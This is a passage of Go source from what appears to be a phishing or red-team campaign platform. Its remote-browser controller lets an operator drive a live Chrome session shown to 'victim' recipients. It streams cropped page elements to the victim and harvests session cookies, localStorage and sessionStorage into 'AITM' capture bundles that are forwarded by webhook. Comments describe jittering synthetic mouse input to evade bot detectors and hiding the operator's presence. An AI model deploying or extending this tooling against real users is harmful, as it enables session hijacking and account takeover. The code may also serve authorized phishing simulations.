var pageCancel context.CancelFunc
// frameSource holds the current tab's shared-screencast getter and its release,
// swapped by startOnPage. The poller goroutine reads getFrame; startOnPage may run
// on the main goroutine (initial) or the read goroutine (tab switch), so guard it.
var frameSrcMu sync.Mutex
var getFrame func() *scFrame
var releaseFrame func()
setFrameSource := func(get func() *scFrame, release func()) {
frameSrcMu.Lock()
old := releaseFrame
getFrame, releaseFrame = get, release
frameSrcMu.Unlock()
if old != nil {
old() // release the previous tab's screencast interest after acquiring the new
}
}
readFrameSource := func() func() *scFrame {
frameSrcMu.Lock()
defer frameSrcMu.Unlock()
return getFrame
}
// startOnPage points the operator at tab p: subscribes to p's shared screencast and
// (re)subscribes to its navigation events for the URL bar. The screencast itself is
// owned and shared by the session broker, so this never starts a second capture on a
// target a victim stream is already using.
startOnPage := func(p *rod.Page) {
if pageCancel != nil {
pageCancel()
}
setActivePage(p)
// Foreground the tab so Chrome doesn't throttle its rendering pipeline.
proto.TargetActivateTarget{TargetID: p.TargetID}.Call(p.Browser()) //nolint:errcheck
proto.PageBringToFront{}.Call(p) //nolint:errcheck
get, release := sess.scAcquire(p)
setFrameSource(get, release)
var pageCtx context.Context
pageCtx, pageCancel = context.WithCancel(streamCtx)
navPage := p.Context(pageCtx)
wait := navPage.EachEvent(
func(e *proto.PageFrameNavigated) (stop bool) {
if e.Frame != nil && e.Frame.ParentID == "" {
tabsMu.Lock()
if entry, ok := tabs[p.TargetID]; ok {
entry.url = e.Frame.URL
}
tabsMu.Unlock()
select {
case urlCh <- e.Frame.URL:
default:
}
}
return
},
func(e *proto.PageNavigatedWithinDocument) (stop bool) {
tabsMu.Lock()
if entry, ok := tabs[p.TargetID]; ok {
entry.url = e.URL
}
tabsMu.Unlock()
select {
case urlCh <- e.URL:
default:
}
return
},
)
go wait()
}
startOnPage(page)
defer func() {
if pageCancel != nil {
pageCancel()
}
frameSrcMu.Lock()
r := releaseFrame
frameSrcMu.Unlock()
if r != nil {
r()
}
}()
// Poll the current tab's shared screencast and forward changed frames to the write
// loop. Screencast frames are change-driven, so polling latest at ~60 Hz and skipping
// unchanged frames catches every repaint without a busy loop.
go func() {
ticker := time.NewTicker(16 * time.Millisecond)
defer ticker.Stop()
var lastData []byte
for {
select {
case <-streamCtx.Done():
return
case <-ticker.C:
get := readFrameSource()
if get == nil {
continue
}
f := get()
if f == nil || len(f.data) == 0 || bytes.Equal(f.data, lastData) {
continue
}
lastData = f.data
select {
case frameCh <- f:
default:
select {
case <-frameCh:
default:
}
select {
case frameCh <- f:
default:
}
}
}
}
}()
if info, err := page.Info(); err == nil && info.URL != "" {
tabsMu.Lock()
if e, ok := tabs[page.TargetID]; ok {
e.url = info.URL
}
tabsMu.Unlock()
if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil {
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
}
}
// Write loop hasn't started yet so it's safe to write directly here.
{
type tabMsg struct {
TargetID string `json:"targetID"`
URL string `json:"url"`
Active bool `json:"active"`
}
tabsMu.Lock()
list := make([]tabMsg, 0, len(tabs))
for tid, e := range tabs {
list = append(list, tabMsg{TargetID: string(tid), URL: e.url, Active: tid == page.TargetID})
}
tabsMu.Unlock()
if payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}); err == nil {
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
}
}
go func() {
defer func() { recover() }() //nolint:errcheck
watchBrowser := page.Browser().Context(streamCtx)
wait := watchBrowser.EachEvent(
func(e *proto.TargetTargetCreated) bool {
info := e.TargetInfo
if info == nil || info.Type != proto.TargetTargetInfoTypePage {
return false
}
// Only track tabs whose opener is already in our tab map.
if info.OpenerID == "" {
return false
}
tabsMu.Lock()
_, openerKnown := tabs[proto.TargetTargetID(info.OpenerID)]
tabsMu.Unlock()
if !openerKnown {
return false
}
newPage, err := page.Browser().PageFromTarget(info.TargetID)
if err != nil {
return false
}
tabsMu.Lock()
tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL}
tabsMu.Unlock()
select {
case switchCh <- newPage:
default:
}
return false
},
func(e *proto.TargetTargetDestroyed) bool {
tabsMu.Lock()
delete(tabs, e.TargetID)
var fallback *rod.Page
for _, entry := range tabs {
fallback = entry.page
break
}
tabsMu.Unlock()
if ap := getActivePage(); ap != nil && ap.TargetID == e.TargetID && fallback != nil {
select {
case switchCh <- fallback:
default:
}
}
go sendTabList()
return false
},
func(e *proto.TargetTargetInfoChanged) bool {
info := e.TargetInfo
if info == nil || info.Type != proto.TargetTargetInfoTypePage {
return false
}
tabsMu.Lock()
if entry, ok := tabs[info.TargetID]; ok {
entry.url = info.URL
}
tabsMu.Unlock()
go sendTabList()
return false
},
)
wait()
}()
// switch_tab and close_tab are accepted in both view and control mode.
// Mouse/keyboard dispatch only runs in control mode.
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
var header struct {
Type string `json:"type"`
TargetID string `json:"targetID"`
X1 float64 `json:"x1"`
Y1 float64 `json:"y1"`
X2 float64 `json:"x2"`
Y2 float64 `json:"y2"`
Width float64 `json:"width"`
Height float64 `json:"height"`
ScreenWidth float64 `json:"screenWidth"`
ScreenHeight float64 `json:"screenHeight"`
Dpr float64 `json:"dpr"`
}
if json.Unmarshal(msg, &header) != nil {
continue
}
switch header.Type {
case "viewport":
// Editor test runs only: size the target to the admin's own resolution
// so remote control is pixel-accurate instead of the headless 800x600
// default. Gated on isTest so a live recipient's viewport is never
// touched here — the victim owns the shared target's size, and resizing
// it under an operator would change what the recipient sees.
if controlMode && sess.isTest && header.Width > 0 && header.Height > 0 {
if p := getActivePage(); p != nil {
// DeviceScaleFactor pinned to 1: a value != 1 makes Chrome scale
// mouse movementX/movementY, breaking the movementX == clientX
// delta relationship for CDP events (a CDP mouse leak).
sw := int(header.ScreenWidth)
if sw < int(header.Width) {
sw = int(header.Width)
}
sh := int(header.ScreenHeight)
if sh < int(header.Height) {
sh = int(header.Height)
}
proto.EmulationSetDeviceMetricsOverride{
Width: int(header.Width), Height: int(header.Height), DeviceScaleFactor: 1,
ScreenWidth: &sw, ScreenHeight: &sh,
}.Call(p) //nolint:errcheck
}
}
case "switch_tab":
tabsMu.Lock()
entry, ok := tabs[proto.TargetTargetID(header.TargetID)]
tabsMu.Unlock()
if ok {
select {
case switchCh <- entry.page:
default:
}
}
case "close_tab":
tabsMu.Lock()
entry, ok := tabs[proto.TargetTargetID(header.TargetID)]
tabsMu.Unlock()
if ok {
// TargetTargetDestroyed fires next; the EachEvent handler above
// removes the entry and switches to a fallback tab if needed.
proto.TargetCloseTarget{TargetID: proto.TargetTargetID(header.TargetID)}.Call(entry.page.Browser()) //nolint:errcheck
}
case "select_range":
if controlMode {
x1, y1, x2, y2 := header.X1, header.Y1, header.X2, header.Y2
go func() {
p := getActivePage()
if p == nil {
return
}
// Use caretRangeFromPoint to locate the exact text
// positions at the drag start and end, then build a
// Range and hand it to the Selection API. This is
// far more reliable than synthesised mousemove events
// for triggering Chrome's text selection engine.
js := fmt.Sprintf(`(function(){
var r1=document.caretRangeFromPoint(%f,%f);
var r2=document.caretRangeFromPoint(%f,%f);
if(!r1||!r2)return;
var range=document.createRange();
try{
if(r1.compareBoundaryPoints(Range.START_TO_START,r2)<=0){
range.setStart(r1.startContainer,r1.startOffset);
range.setEnd(r2.startContainer,r2.startOffset);
}else{
range.setStart(r2.startContainer,r2.startOffset);
range.setEnd(r1.startContainer,r1.startOffset);
}
var sel=window.getSelection();
sel.removeAllRanges();
sel.addRange(range);
}catch(e){}
})()`, x1, y1, x2, y2)
p.Eval("() => " + js) //nolint:errcheck
}()
}
case "get_selection":
if controlMode {
go func() {
p := getActivePage()
if p == nil {
return
}
res, err := p.Eval(`() => window.getSelection().toString()`)
if err != nil || res == nil {
return
}
payload, marshalErr := json.Marshal(map[string]string{
"type": "selection_text",
"text": res.Value.Str(),
})
if marshalErr != nil {
return
}
select {
case notifyCh <- payload:
default:
}
}()
}
default:
if controlMode {
m.dispatchInput(getActivePage(), msg)
}
}
}
}()
// lastFrameW/H track the last CSS viewport dimensions sent to the client so the
// frame_meta control message is only emitted when they change. -1 forces an
// initial send on the first frame.
lastFrameW, lastFrameH := float64(-1), float64(-1)
for {
select {
case <-page.GetContext().Done():
conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck
return
case <-g.Request.Context().Done():
return
case newPage := <-switchCh:
startOnPage(newPage)
// p.Info() is a CDP round-trip; run it off the write loop.
go func(p *rod.Page) {
if info, err := p.Info(); err == nil && info.URL != "" {
tabsMu.Lock()
if e, ok := tabs[p.TargetID]; ok {
e.url = info.URL
}
tabsMu.Unlock()
if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil {
select {
case notifyCh <- payload:
default:
}
}
}
sendTabList()
}(newPage)
case payload := <-notifyCh:
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
case u := <-urlCh:
payload, err := json.Marshal(map[string]string{"type": "url", "value": u})
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
case frame, ok := <-frameCh:
if !ok {
return
}
frameW, frameH := frame.devW, frame.devH
// The CSS viewport dimensions (used client side for input coordinate
// mapping) change rarely, so send them as a small control message only on
// change instead of wrapping every frame. The JPEG itself goes as a raw
// binary message with no base64 or JSON overhead.
if frameW != lastFrameW || frameH != lastFrameH {
lastFrameW, lastFrameH = frameW, frameH
if payload, err := json.Marshal(map[string]any{
"type": "frame_meta",
"width": frameW,
"height": frameH,
}); err == nil {
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
return
}
}
}
if err := conn.WriteMessage(websocket.BinaryMessage, frame.data); err != nil {
return
}
}
}
}
// dispatchInput routes a JSON input message from the admin WS into the browser via rod proto.
func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) {
var cmd struct {
Type string `json:"type"`
X float64 `json:"x"`
Y float64 `json:"y"`
Button string `json:"button"`
Buttons int64 `json:"buttons"` // bitmask of held buttons (left=1, right=2, middle=4)
DeltaX float64 `json:"deltaX"`
DeltaY float64 `json:"deltaY"`
Key string `json:"key"`
Code string `json:"code"`
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"` // non-empty when keydown should also fire a char event
Text string `json:"text"` // paste payload
URL string `json:"url"` // navigate target
}
if json.Unmarshal(msg, &cmd) != nil {
return
}
btn := proto.InputMouseButtonLeft
if cmd.Button == "right" {
btn = proto.InputMouseButtonRight
}
mods := int(cmd.Modifiers)
zeroButtons := 0
nowTs := func() proto.TimeSinceEpoch {
return proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9)
}
switch cmd.Type {
case "mousemove":
// Add ±1 px integer noise then round: keeps movementX == clientX-prevClientX
// consistent (subpixel CDP coordinates create a float/int mismatch detectors
// check), while still adding the ±1 px variation that breaks exact-integer paths.
jx := math.Round(cmd.X + (rand.Float64()*2-1)*0.5)
jy := math.Round(cmd.Y + (rand.Float64()*2-1)*0.5)
// Forward the browser's e.buttons bitmask so CDP sees held buttons during a drag.
// When the frontend does not send buttons (older messages), cmd.Buttons == 0 which
// is the correct "no button held" value for a plain mousemove.
heldButtons := int(cmd.Buttons)
// During a drag the CDP `button` field must name the held button so
// Chrome's text-selection engine recognises it as a drag-select, not a
// plain hover. Bit 1 = left, bit 2 = right.
moveButton := proto.InputMouseButtonNone
if heldButtons&1 != 0 {
moveButton = proto.InputMouseButtonLeft
} else if heldButtons&2 != 0 {
moveButton = proto.InputMouseButtonRight
}
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseMoved,
X: jx,
Y: jy,
Modifiers: mods,
Timestamp: nowTs(),
Button: moveButton,
Buttons: &heldButtons,
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "mousedown":
// Buttons bitmask must match the button being pressed: left=1, right=2.
downButtons := 1
if cmd.Button == "right" {
downButtons = 2
}
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMousePressed,
X: cmd.X,
Y: cmd.Y,
Modifiers: mods,
Timestamp: nowTs(),
Button: btn,
Buttons: &downButtons,
ClickCount: 1,
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "mouseup":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseReleased,
X: cmd.X,
Y: cmd.Y,
Modifiers: mods,
Timestamp: nowTs(),
Button: btn,
Buttons: &zeroButtons,
ClickCount: 1,
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "scroll":
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseWheel,
X: cmd.X,
Y: cmd.Y,
DeltaX: cmd.DeltaX,
DeltaY: cmd.DeltaY,
Modifiers: mods,
Timestamp: nowTs(),
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
case "keydown":
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeKeyDown,
Key: cmd.Key,
Code: cmd.Code,
WindowsVirtualKeyCode: int(cmd.KeyCode),
NativeVirtualKeyCode: int(cmd.KeyCode),
Modifiers: mods,
}.Call(page) //nolint:errcheck
if ct := cmd.CharText; ct != "" {
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeChar,
Key: ct,
Text: ct,
UnmodifiedText: ct,
Modifiers: mods,
}.Call(page) //nolint:errcheck
}
case "keyup":
proto.InputDispatchKeyEvent{
Type: proto.InputDispatchKeyEventTypeKeyUp,
Key: cmd.Key,
Code: cmd.Code,
WindowsVirtualKeyCode: int(cmd.KeyCode),
NativeVirtualKeyCode: int(cmd.KeyCode),
Modifiers: mods,
}.Call(page) //nolint:errcheck
case "paste":
page.InsertText(cmd.Text) //nolint:errcheck
case "navigate":
if cmd.URL != "" {
page.Navigate(cmd.URL) //nolint:errcheck
}
case "back":
page.NavigateBack() //nolint:errcheck
case "forward":
page.NavigateForward() //nolint:errcheck
}
}
// saveCaptureEvent converts a remote browser capture payload to the same bundle
// format used by AITM captures and saves it as a CampaignEvent so it appears in
// the campaign timeline and can be exported to session replay tools.
func (m *RemoteBrowserController) saveCaptureEvent(
ctx context.Context,
req *http.Request,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
captureValue interface{},
clientIP string,
userAgent string,
) {
// JSON round-trip so we have a consistent map[string]interface{} regardless of
// whether the value was a Go struct (network.Cookie) or already a map.
raw, err := json.Marshal(captureValue)
if err != nil {
return
}
var capture map[string]interface{}
if json.Unmarshal(raw, &capture) != nil {
return
}
// Build cookies map keyed by cookie name - matches the AITM cookie bundle format.
cookiesMap := map[string]interface{}{}
if arr, ok := capture["cookies"].([]interface{}); ok {
for _, c := range arr {
if cm, ok := c.(map[string]interface{}); ok {
name, _ := cm["name"].(string)
if name == "" {
continue
}
entry := map[string]string{
"name": name,
"value": stringField(cm, "value"),
"domain": stringField(cm, "domain"),
"path": stringField(cm, "path"),
"capture_time": time.Now().Format(time.RFC3339),
}
if b, _ := cm["secure"].(bool); b {
entry["secure"] = "true"
}
if b, _ := cm["httpOnly"].(bool); b {
entry["httpOnly"] = "true"
}
if ss, _ := cm["sameSite"].(string); ss != "" {
entry["sameSite"] = ss
}
// CDP returns expires as a float64 Unix timestamp; -1 means session cookie.
if exp, _ := cm["expires"].(float64); exp > 0 {
entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339)
}
cookiesMap[name] = entry
}
}
}
bundle := map[string]interface{}{
"capture_type": "cookie",
"source": "remote_browser",
"cookie_count": len(cookiesMap),
"bundle_time": time.Now().Format(time.RFC3339),
"session_complete": true,
"cookies": cookiesMap,
}
// include localStorage / sessionStorage if present
if ls, ok := capture["localStorage"]; ok && ls != nil {
bundle["localStorage"] = ls
}
if ss, ok := capture["sessionStorage"]; ok && ss != nil {
bundle["sessionStorage"] = ss
}
bundleJSON, err := json.Marshal(bundle)
if err != nil {
return
}
// Extract browser metadata (JA4, platform, accept-language) from the victim's
// WS upgrade request, gated on the campaign's SaveBrowserMetadata flag.
var metadata *vo.OptionalString1MB
if m.CampaignService != nil {
if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil {
metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign)
}
}
if metadata == nil {
metadata = vo.NewEmptyOptionalString1MB()
}
submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: submitDataEventID,
Metadata: metadata,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON))
if dataErr != nil {
m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr)
return
}
event.Data = eventData
if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil {
return
}
if m.CampaignService != nil {
m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck
}
}
func (m *RemoteBrowserController) saveInfoEvent(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
message string,
clientIP string,
userAgent string,
) {
infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO]
if infoEventID == nil {
return
}
payload := map[string]string{
"source": "remote_browser",
"message": message,
}
raw, err := json.Marshal(payload)
if err != nil {
return
}
eventData, dataErr := vo.NewOptionalString1MB(string(raw))
if dataErr != nil {
return
}
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: infoEventID,
Data: eventData,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck
}
// saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event.
// Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any
// JSON-serializable value passed to submitData() in the script.
func (m *RemoteBrowserController) saveSubmitEvent(
ctx context.Context,
req *http.Request,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
submitValue interface{},
clientIP string,
userAgent string,
) {
submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA]
if submitDataEventID == nil {
return
}
bundle := map[string]interface{}{
"capture_type": "form_data",
"source": "remote_browser",
"data": submitValue,
}
bundleJSON, err := json.Marshal(bundle)
if err != nil {
return
}
var metadata *vo.OptionalString1MB
if m.CampaignService != nil {
if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil {
metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign)
}
}
if metadata == nil {
metadata = vo.NewEmptyOptionalString1MB()
}
eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON))
if dataErr != nil {
m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr)
return
}
eventID := uuid.New()
event := &model.CampaignEvent{
ID: &eventID,
CampaignID: campaignID,
RecipientID: recipientID,
EventID: submitDataEventID,
Data: eventData,
Metadata: metadata,
IP: vo.NewOptionalString64Must(clientIP),
UserAgent: vo.NewOptionalString255Must(userAgent),
}
if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil {
return
}
if m.CampaignService != nil {
m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck
}
}
// cropImagePNG crops src to the given region and returns lossless PNG bytes. Used to
// crop the streamed element out of an operator screencast frame so the victim only
// ever receives the element, never the full page. PNG avoids a second lossy pass on
// top of the operator frame's JPEG, so colors don't wash out during operator viewing.
func cropImagePNG(src image.Image, x, y, w, h int) ([]byte, error) {
b := src.Bounds()
if x < b.Min.X {
x = b.Min.X
}
if y < b.Min.Y {
y = b.Min.Y
}
if x+w > b.Max.X {
w = b.Max.X - x
}
if y+h > b.Max.Y {
h = b.Max.Y - y
}
if w <= 0 || h <= 0 {
return nil, fmt.Errorf("crop region out of bounds")
}
dst := image.NewRGBA(image.Rect(0, 0, w, h))
draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src)
var buf bytes.Buffer
// BestSpeed keeps per-frame encode cheap; this path only runs while an operator
// is viewing, so latency matters more than a few extra bytes.
enc := png.Encoder{CompressionLevel: png.BestSpeed}
if err := enc.Encode(&buf, dst); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
// buildStreamFrameMsg frames a cropped element JPEG for the victim WebSocket as a
// single binary message: [type=1][uint16 name length][name][jpeg bytes]. Sending the
// JPEG raw avoids the base64 inflation and per-frame JSON wrapping of a text message.
func buildStreamFrameMsg(name string, jpegData []byte) []byte {
nameBytes := []byte(name)
buf := make([]byte, 3+len(nameBytes)+len(jpegData))
buf[0] = 1
binary.BigEndian.PutUint16(buf[1:3], uint16(len(nameBytes)))
copy(buf[3:], nameBytes)
copy(buf[3+len(nameBytes):], jpegData)
return buf
}
// runNamedStream queries the element CSS bounding rect, then streams cropped frames to
// the victim WebSocket until streamCtx is cancelled or the connection closes.
//
// The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of
// (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata.
// This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels.
func (m *RemoteBrowserController) runNamedStream(
streamCtx context.Context,
page *rod.Page,
sess *activeSession,
connMu *sync.Mutex,
conn *websocket.Conn,
selector string,
name string,
si *streamInfo,
) {
sendLog := func(msg string) {
payload, _ := json.Marshal(map[string]interface{}{"type": "log", "message": msg})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck
connMu.Unlock()
}
// Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport).
res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector))
if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" {
sendLog(fmt.Sprintf("[stream:%s] element not found: %s", name, selector))
return
}
var cssRect struct{ X, Y, W, H float64 }
if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 {
sendLog(fmt.Sprintf("[stream:%s] element has zero dimensions: %s", name, selector))
return
}
si.setOrigin(cssRect.X, cssRect.Y)
// displayW/displayH: the element's CSS-pixel size (the victim canvas layout size).
// imageW/imageH: the cropped frame's pixel size, 0 until the first frame arrives.
displayW := int(cssRect.W + 0.5)
displayH := int(cssRect.H + 0.5)
imageW, imageH := 0, 0
streamPage := page.Context(streamCtx)
// Subscribe to the session's shared screencast for this page. Victim frames are
// always cropped from this one screencast, so the stream is identical whether or not
// an operator is also viewing — no operator-presence leak. releaseSC stops the
// screencast once this and every other consumer of the target has gone.
getFrame, releaseSC := sess.scAcquire(page)
defer releaseSC()
// fps caps how often we crop and send. Unbounded (0) would spin the loop, so default
// to a smooth but cheap rate for a single element.
fps := si.maxFps
if fps <= 0 {
fps = 30
}
// sendStreamStart tells the victim page the current image and CSS dimensions so it
// can size its canvas. Sent on the first frame and whenever the dimensions change.
sendStreamStart := func() {
startPayload, _ := json.Marshal(map[string]interface{}{
"type": "stream_start",
"name": name,
"width": imageW,
"height": imageH,
"cssWidth": displayW,
"cssHeight": displayH,
})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck
connMu.Unlock()
}
// requeryRect re-reads the element rect, updating the crop origin. Element moves and
// resizes are followed automatically; a size change re-sends stream_start below.
requeryRect := func() {
res, err := streamPage.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector))
if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" {
return
}
var r struct{ X, Y, W, H float64 }
if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 || r.H <= 0 {
return
}
cssRect = struct{ X, Y, W, H float64 }{r.X, r.Y, r.W, r.H}
si.setOrigin(cssRect.X, cssRect.Y)
}
// captureElement crops the current element out of the latest shared screencast frame
// and returns lossless PNG, its pixel dimensions, and the visible CSS dimensions.
// Cropping server side means the victim only ever receives the element, never the
// full page.
captureElement := func() ([]byte, int, int, int, int, bool) {
f := getFrame()
if f == nil || len(f.data) == 0 {
return nil, 0, 0, 0, 0, false
}
src, decErr := jpeg.Decode(bytes.NewReader(f.data))
if decErr != nil {
return nil, 0, 0, 0, 0, false
}
jw, jh := src.Bounds().Dx(), src.Bounds().Dy()
devW, devH := f.devW, f.devH
if devW <= 0 {
devW = float64(jw)
}
if devH <= 0 {
devH = float64(jh)
}
sx, sy := float64(jw)/devW, float64(jh)/devH
// Only the visible viewport is captured, so clamp the streamed region to the
// element's visible intersection with the viewport. Without this, streaming an
// element taller/wider than the viewport (e.g. <body>) sizes the canvas to the
// element's full scroll size while the bitmap only holds the visible part, which
// stretches and blurs it. vx/vy/vw/vh are the visible region in CSS pixels.
vx := math.Max(cssRect.X, 0)
vy := math.Max(cssRect.Y, 0)
vw := math.Min(cssRect.X+cssRect.W, devW) - vx
vh := math.Min(cssRect.Y+cssRect.H, devH) - vy
if vw <= 0 || vh <= 0 {
return nil, 0, 0, 0, 0, false
}
si.setOrigin(vx, vy)
si.setScale(sx, sy)
cw := int(vw*sx + 0.5)
ch := int(vh*sy + 0.5)
cropped, cropErr := cropImagePNG(src, int(vx*sx), int(vy*sy), cw, ch)
if cropErr != nil {
return nil, 0, 0, 0, 0, false
}
return cropped, cw, ch, int(vw + 0.5), int(vh + 0.5), true
}
// Adaptive polling: capture at fastInterval while the element is changing and back
// off to idleInterval once it has been static for a short streak. Interactive
// elements stay smooth while a static one barely costs anything; the rate snaps
// back to fast the instant a frame differs.
fastInterval := time.Second / time.Duration(fps)
idleInterval := 200 * time.Millisecond
if idleInterval < fastInterval {
idleInterval = fastInterval
}
const backoffAfter = 10 // consecutive unchanged frames before slowing down
ticker := time.NewTicker(fastInterval)
defer ticker.Stop()
atFastRate := true
unchanged := 0
var lastRectCheck time.Time
var lastFrame []byte // last JPEG sent, to skip resending unchanged frames
for {
select {
case <-streamCtx.Done():
stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name})
connMu.Lock()
conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck
connMu.Unlock()
return
case <-ticker.C:
// Periodically re-check the element rect for moves or resizes (CSS
// transitions, responsive reflow, popups).
if time.Since(lastRectCheck) >= 250*time.Millisecond {
lastRectCheck = time.Now()
requeryRect()
}
if cssRect.W <= 0 || cssRect.H <= 0 {
continue
}
data, iw, ih, dw, dh, ok := captureElement()
if !ok {
continue
}
// Notify the victim when the image or visible CSS dimensions change (element
// resize, scroll bringing more/less of it into view, viewport change).
if iw != imageW || ih != imageH || dw != displayW || dh != displayH {
imageW, imageH = iw, ih
displayW, displayH = dw, dh
sendStreamStart()
}
// Skip the send when the frame is byte-for-byte unchanged (JPEG of identical
// pixels is deterministic) and slow the capture rate after a static streak;
// resume fast capture the instant a frame differs.
if bytes.Equal(data, lastFrame) {
unchanged++
if unchanged == backoffAfter && atFastRate {
atFastRate = false
ticker.Reset(idleInterval)
}
continue
}
unchanged = 0
if !atFastRate {
atFastRate = true
ticker.Reset(fastInterval)
}
lastFrame = data
connMu.Lock()
writeErr := conn.WriteMessage(websocket.BinaryMessage, buildStreamFrameMsg(name, data))
connMu.Unlock()
if writeErr != nil {
return
}
}
}
}
func stringField(m map[string]interface{}, key string) string {
v, _ := m[key].(string)
return v
}